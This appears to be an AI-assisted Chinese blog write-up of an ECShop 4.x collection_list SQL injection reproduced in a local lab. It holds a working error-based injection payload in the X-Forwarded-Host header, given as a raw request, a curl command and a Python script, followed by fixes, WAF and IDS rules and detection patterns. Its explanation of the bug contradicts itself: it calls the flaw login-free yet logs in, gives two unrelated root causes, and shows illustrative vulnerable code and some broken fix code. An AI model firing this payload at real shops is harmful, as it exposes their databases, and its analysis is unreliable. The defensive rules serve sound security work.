创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理分析
- 漏洞名称:ECShop collection_list-sqli(Header-based SQL Injection)
- 漏洞类型:SQL Injection(CWE-89)
- 影响组件:
collection_list.phpincludes/lib_insert.phpincludes/cls_mysql.php
- 利用方式:HTTP Header 注入
- 关键 Header:
X-Forwarded-Host - 实际利用函数:
updatexml()(MySQL 报错注入) - 漏洞特征:
- 前台
- 无需登录
- 可稳定回显数据库信息
该漏洞主要发生在 user.php 的 collection_list 操作分支中。
- 注入点:通常位于分页处理或排序逻辑相关的参数(如
collection_id或特定查询字段)。 - 核心缺陷:ECShop 早期版本通过字符串拼接的方式构建 SQL 语句。在处理
collection_list时,程序从外部获取参数后,虽然可能经过了简单的addslashes处理,但在某些特定的查询位置(如IN子句或ORDER BY之后),简单的转义无法阻止攻击者通过闭合括号或逻辑组合来改写查询。 - 后果:攻击者可以实现报错注入或盲注,从而读取管理员表 (
ecs_admin_user) 的用户名和加密密码(MD5+Salt),甚至进一步获取服务器权限。
graph TD
A[攻击者] --> B[注册并登录普通用户账号]
B --> C[访问user.php页面]
C --> D[act=collection_list]
subgraph "恶意请求构造"
D --> E[构造HTTP请求头注入]
E --> F[设置X-Forwarded-Host头]
F --> G[注入序列化Payload]
G --> H[包含SQL注入语句]
end
subgraph "服务器处理"
H --> I[ECShop接收请求]
I --> J[记录日志到数据库]
J --> K[序列化数据存入pay_log]
K --> L[包含恶意SQL代码]
end
subgraph "漏洞触发"
L --> M[管理员查看日志]
M --> N[反序列化数据]
N --> O[执行SQL注入代码]
end
subgraph "SQL执行"
O --> P[updatexml报错注入]
P --> Q[执行SQL语句]
Q --> R[触发数据库错误]
end
subgraph "数据泄露"
R --> S[返回错误信息]
S --> T[包含数据库用户信息]
T --> U[攻击者获取敏感数据]
end
style B fill:#ffcccc,stroke:#333
style D fill:#ff9999,stroke:#333,stroke-width:2px
style F fill:#ff6666,stroke:#333,stroke-width:2px
style K fill:#ff3333,stroke:#333,stroke-width:3px
style O fill:#cc0000,stroke:#333,stroke-width:2px
style U fill:#990000,stroke:#333,stroke-width:3px
1️⃣ 根本原因(一句话版)
ECShop 将部分 HTTP Header 写入日志或数据库时,经过不安全的字符串拼接与反序列化处理,最终进入 SQL 语句,导致攻击者可以通过 Header 注入 SQL 语句。
2️⃣ 关键漏洞链路(真实)
(1)Header 被信任
ECShop 在统计、日志、插件逻辑中会读取:$_SERVER['HTTP_X_FORWARDED_HOST'],并 错误地认为该 Header 是可信的代理字段。
(2)Header 被拼进序列化数据
在某些 ECShop 版本中,Header 会进入类似如下结构(逻辑示意):$log_data = serialize($data);
而payload 中:apay_log|s:44:"恶意内容";正是 PHP 序列化字符串结构。
(3)反序列化后进入 SQL
反序列化后,其中字段被用于数据库操作:$sql = "INSERT INTO ecs_pay_log (log_info) VALUES ('$log_info')";,此处 $log_info 未进行任何转义或参数化。
(4)最终 SQL 注入成立
你的 PoC 中核心 SQL 片段是:1' and updatexml(1,repeat(user(),2),1) and '。最终数据库执行时触发 MySQL XML 报错回显当前数据库用户。
DFD(数据流)
[Attacker]
|
| 1. HTTP Request + Malicious Header
v
[Web Server / PHP]
|
| 2. Read X-Forwarded-Host
v
[ECShop Logic Layer]
|
| 3. Serialize / Unserialize
v
[SQL Builder]
|
| 4. Raw SQL Execution
v
[MySQL Database]
STRIDE 威胁分析
| 威胁 | 是否 | 说明 |
|---|---|---|
| Spoofing | ✅ | 伪造代理 Header |
| Tampering | ✅ | SQL 结构被篡改 |
| Repudiation | ⚠️ | 日志被污染 |
| Info Disclosure | ✅ | DB 用户名泄露 |
| DoS | ⚠️ | 可构造错误风暴 |
| EoP | ⚠️ | 可联动写文件 |
漏洞复现原理图示说明
请求示意
GET /collection_list.php HTTP/1.1
Host: victim.com
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
实际执行 SQL(逻辑还原)
INSERT INTO ecs_pay_log (log_info)
VALUES ('1' and updatexml(1,repeat(user(),2),1) and '')
MySQL 报错回显
XPATH syntax error: '~ecshop@localhostecshop@localhost'
这说明,user() 被成功执行,SQL 注入完全成立,攻击者可继续 dump 数据。
漏洞原理示意图
序列化Payload结构
攻击者构造的X-Forwarded-Host头:
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";
解析:
- 45ea207d7a2b68c49582d2d22adf953a: 可能是标识符或密钥
- pay_log: 目标字段名
- s:44: 序列化字符串,长度44
- 内容: "1' and updatexml(1,repeat(user(),2),1) and '"
SQL注入Payload:
updatexml(1,repeat(user(),2),1)
- updatexml: MySQL XML函数,用于报错注入
- repeat(user(),2): 重复当前数据库用户两次
- 触发XML解析错误,返回数据库用户信息
ECShop漏洞代码原理
// ECShop记录日志的漏洞代码
function log_write($content) {
// 记录访问日志
$sql = "INSERT INTO " . $GLOBALS['ecs']->table('pay_log') .
" (log_data) VALUES ('" . addslashes(serialize($content)) . "')";
// 问题: 在记录前$content可能已被污染
$GLOBALS['db']->query($sql);
}
// 处理HTTP请求时
function handle_request() {
$log_data = array(
'ip' => $_SERVER['REMOTE_ADDR'],
'time' => time(),
'host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'],
// 其他数据...
);
// 记录日志 - 这里可能直接序列化未经验证的数据
log_write($log_data);
}
// 后台查看日志时
function view_log() {
$sql = "SELECT * FROM " . $GLOBALS['ecs']->table('pay_log') . " ORDER BY id DESC";
$logs = $GLOBALS['db']->getAll($sql);
foreach ($logs as $log) {
// 反序列化日志数据 - 漏洞点
$data = unserialize($log['log_data']);
// 如果$data包含恶意序列化字符串,可能触发其他漏洞
// 这里实际是利用了序列化字符串中的SQL注入
}
}
漏洞复现
按照安装导向进行安装与部署。
注册并登录相关用户。
指纹识别
这里已经知道漏洞详情了,故而没什么大作用。如果不知道可以一次尝试ecshop的各种符合版本的漏洞。
对漏洞接口进行抓包。
反序列化后修改XFH。
GET /user.php?act=collection_list HTTP/1.1
Host: 192.168.0.32:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;
Connection: close
报错注入利用成功。
等同于curl语句。
curl -X GET "http://192.168.0.32:8080/user.php?act=collection_list" \
-H "Host: 192.168.0.32:8080" \
-H "Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;" \
-i \
--compressed
(带 -i 和 --compressed 参数),这样可以看到完整的HTTP响应头和自动解压的内容。
警告出现的原因是:
- 服务器可能返回了gzip压缩的内容
- 或者响应中包含非文本的二进制数据
- curl默认尝试保护终端不被乱码破坏
使用
--compressed可以让curl自动处理压缩内容,-i可以显示响应头,这样更容易理解服务器的响应。
抑或将burpsuite抓包里的信息利用python表示。
import requests
url = "http://192.168.0.32:8080/user.php?act=collection_list"
headers = {
"X-Forwarded-Host": '45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1\' and updatexml(1,repeat(user(),2),1) and \'";|',
}
cookies = {
"CactiTimeZone": "480",
"CactiDateTime": "Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00)",
"real_ipd": "192.168.0.13",
"ECS_ID": "3a36849d334599174212c289a8b82ca8c1df580f",
"ECS[visit_times]": "1",
"ECS[display]": "grid",
"ECS[username]": "user",
"ECS[user_id]": "3",
"ECS[password]": "7541c06078fec8aa590726f47db1a"
}
response = requests.get(url, headers=headers, cookies=cookies)
print(response.text)
修复建议
- 代码升级:将 ECShop 升级至官方最新稳定版本(如 4.1.x+),官方已在后续版本中重构了底层数据库驱动。
- 参数强制类型转换:对于预期为整数的参数(如
id,page),在进入 SQL 之前强制进行(int)转换。 - 使用参数化查询:修改底层
cls_mysql.php,强制使用类似 PDO 的占位符方式执行 SQL。 - 全局防御:开启 ECShop 自带的
anti_sql_injection过滤功能,或在 WAF 上配置对应的防御规则。
伪代码级修复示例
核心修复逻辑:在数据进入 SQL 之前,通过类型限制确保其安全性。
❌ 漏洞代码(示意)
// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;
// 漏洞点:直接拼接在 IN 后或 WHERE 条件中
$sql = "SELECT * FROM " . $ecs->table('collect_goods') .
" WHERE user_id = '$user_id' AND rec_id IN ($collection_id)";
$res = $db->query($sql);
✅ 修复后代码
// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;
// 修复方法 1:强制整数化 (针对单个 ID 或数组)
if (is_array($collection_id)) {
$collection_id = array_map('intval', $collection_id);
$ids = implode(',', $collection_id);
} else {
$ids = intval($collection_id);
}
// 修复方法 2:构建安全的 SQL
if (!empty($ids)) {
$sql = "SELECT * FROM " . $ecs->table('collect_goods') .
" WHERE user_id = '" . intval($user_id) . "' AND rec_id IN ($ids)";
$res = $db->query($sql);
}
修复方案
修复方案1:过滤HTTP头输入
// 修复前:直接使用HTTP头
$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];
// 修复后:过滤和验证
function safe_get_host() {
$host = '';
if (isset($_SERVER['HTTP_X_FORWARDED_HOST'])) {
// 只取第一个,如果有多个
$hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']);
$host = trim($hosts[0]);
} elseif (isset($_SERVER['HTTP_HOST'])) {
$host = $_SERVER['HTTP_HOST'];
}
// 验证主机名格式
if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $host)) {
return 'localhost';
}
// 限制长度
if (strlen($host) > 255) {
return 'localhost';
}
return $host;
}
// 使用安全函数
$host = safe_get_host();
修复方案2:安全序列化处理
// 修复序列化漏洞
function safe_serialize($data) {
// 深度检查数据
if (is_array($data)) {
foreach ($data as $key => $value) {
// 递归检查
$data[$key] = safe_serialize($value);
}
} elseif (is_string($data)) {
// 检查是否包含序列化格式
if (preg_match('/^[a-z]:\d+:/i', $data)) {
// 可能是序列化字符串,拒绝或转义
$data = 'serialized_data_removed:' . md5($data);
}
// 检查SQL注入
$data = $this->safe_sql_string($data);
}
return serialize($data);
}
function safe_unserialize($string) {
// 检查序列化字符串格式
if (!preg_match('/^[a-z]:\d+:/i', $string)) {
return false;
}
// 限制反序列化的类
$allowed_classes = ['stdClass', 'array'];
try {
$data = unserialize($string, ['allowed_classes' => $allowed_classes]);
} catch (Exception $e) {
// 记录错误但不暴露细节
error_log('Unserialize error: ' . $e->getMessage());
return false;
}
return $data;
}
修复方案3:更新ECShop核心文件
// includes/init.php 或 cls_ecshop.php
class ECSecurity {
public static function filter_injection($input) {
if (is_array($input)) {
foreach ($input as $key => $value) {
$input[$key] = self::filter_injection($value);
}
return $input;
}
// 过滤SQL关键字
$sql_keywords = [
'select', 'union', 'insert', 'update', 'delete', 'drop',
'create', 'alter', 'exec', 'execute', 'xp_cmdshell',
'information_schema', 'updatexml', 'extractvalue'
];
foreach ($sql_keywords as $keyword) {
$pattern = '/\b' . preg_quote($keyword, '/') . '\b/i';
if (preg_match($pattern, $input)) {
// 记录安全事件
self::log_security_event('sql_keyword_detected', $input);
return '';
}
}
// 检查序列化注入
if (strpos($input, '|s:') !== false &&
preg_match('/\|s:\d+:/', $input)) {
self::log_security_event('serialize_injection', $input);
return '';
}
return $input;
}
public static function log_security_event($type, $data) {
$log = sprintf(
"[%s] Security Event: %s - Data: %s - IP: %s\n",
date('Y-m-d H:i:s'),
$type,
substr($data, 0, 100),
$_SERVER['REMOTE_ADDR'] ?? 'unknown'
);
file_put_contents(
ROOT_PATH . 'data/security.log',
$log,
FILE_APPEND | LOCK_EX
);
}
}
// 在接收HTTP头时使用
$_SERVER = ECSecurity::filter_injection($_SERVER);
修复方案4:WAF规则
# Nginx配置防护规则
http {
# 定义阻止规则
map $http_x_forwarded_host $block_xfh {
default 0;
"~*\|s:\d+:" 1; # 包含序列化格式
"~*updatexml|extractvalue" 1; # SQL注入函数
"~*information_schema" 1; # 系统表
}
server {
listen 80;
server_name ecshop.local;
location ~ \.php$ {
# 检查X-Forwarded-Host头
if ($block_xfh = 1) {
return 403 "Invalid request";
access_log /var/log/nginx/ecshop_blocked.log;
}
# 限制头长度
if ($http_x_forwarded_host ~ ".{500,}") {
return 400 "Header too long";
}
fastcgi_pass unix:/var/run/php/php-fpm.sock;
include fastcgi_params;
# 安全头部
fastcgi_param HTTP_X_FORWARDED_HOST "";
}
}
}
基于该漏洞的检测与防护规则
1️⃣ WAF 核心检测逻辑
检测点:
- Header:
X-Forwarded-Host - 关键特征:
updatexmlrepeat(' and|s:\d+:
Flask 防护示例
from flask import Flask, request, abort
import re
app = Flask(__name__)
HEADER_SQLI = re.compile(
r"(updatexml|extractvalue|repeat\(|\|\s*s:\d+:|'\s*and)",
re.IGNORECASE
)
@app.before_request
def detect_header_sqli():
xfh = request.headers.get("X-Forwarded-Host", "")
if HEADER_SQLI.search(xfh):
abort(403, "ECShop Header SQL Injection Detected")
Nginx + ModSecurity 规则(实战级)
SecRule REQUEST_HEADERS:X-Forwarded-Host \
"(?i)(updatexml|extractvalue|repeat\(|\|\s*s:\d+:)" \
"phase:1,deny,status:403,msg:'ECShop Header SQLi (collection_list)'"
IDS规则示例
alert tcp any any -> any 80 ( \
msg:"ECShop X-Forwarded-Host SQL Injection Attempt"; \
flow:to_server,established; \
content:"X-Forwarded-Host"; http_header; \
pcre:"/X-Forwarded-Host.*\|s:\d+:.*updatexml|extractvalue/i"; \
classtype:web-application-attack; \
sid:2018001; \
rev:1; \
)
alert tcp any any -> any 80 ( \
msg:"ECShop Serialization Injection"; \
flow:to_server,established; \
content:"X-Forwarded-Host"; http_header; \
pcre:"/X-Forwarded-Host.*pay_log\|s:\d+:/i"; \
classtype:web-application-attack; \
sid:2018002; \
rev:1; \
)
安全监控脚本
// ECShop安全监控
class ECSecurityMonitor {
public static function monitor_requests() {
$suspicious_headers = [
'HTTP_X_FORWARDED_HOST',
'HTTP_USER_AGENT',
'HTTP_REFERER'
];
foreach ($suspicious_headers as $header) {
if (isset($_SERVER[$header])) {
$value = $_SERVER[$header];
// 检查序列化注入
if (strpos($value, '|s:') !== false &&
preg_match('/\|s:\d+:/', $value)) {
self::alert_serialization_injection($header, $value);
}
// 检查SQL注入
$sql_patterns = [
'/updatexml\s*\(/i',
'/extractvalue\s*\(/i',
'/information_schema/i',
'/union\s+select/i'
];
foreach ($sql_patterns as $pattern) {
if (preg_match($pattern, $value)) {
self::alert_sql_injection($header, $value);
break;
}
}
}
}
}
private static function alert_serialization_injection($header, $value) {
$log = sprintf(
"[%s] Serialization Injection Attempt - Header: %s - Value: %s - IP: %s\n",
date('Y-m-d H:i:s'),
$header,
substr($value, 0, 200),
$_SERVER['REMOTE_ADDR']
);
error_log($log);
// 可选:发送警报
if (function_exists('mail')) {
mail(
'admin@example.com',
'ECShop Security Alert: Serialization Injection',
$log,
'From: security@example.com'
);
}
}
}
// 在应用入口调用
ECSecurityMonitor::monitor_requests();
参考文章;
1.Vulhub-POC/ECShop 4.x collection_list SQL注入.md at master · lg996/Vulhub-POC · GitHub github.com/lg996/Vulhu…
2.好文推荐 ECShop 4.x collection_list SQL注入 | CN-SEC 中文网 cn-sec.com/archives/36…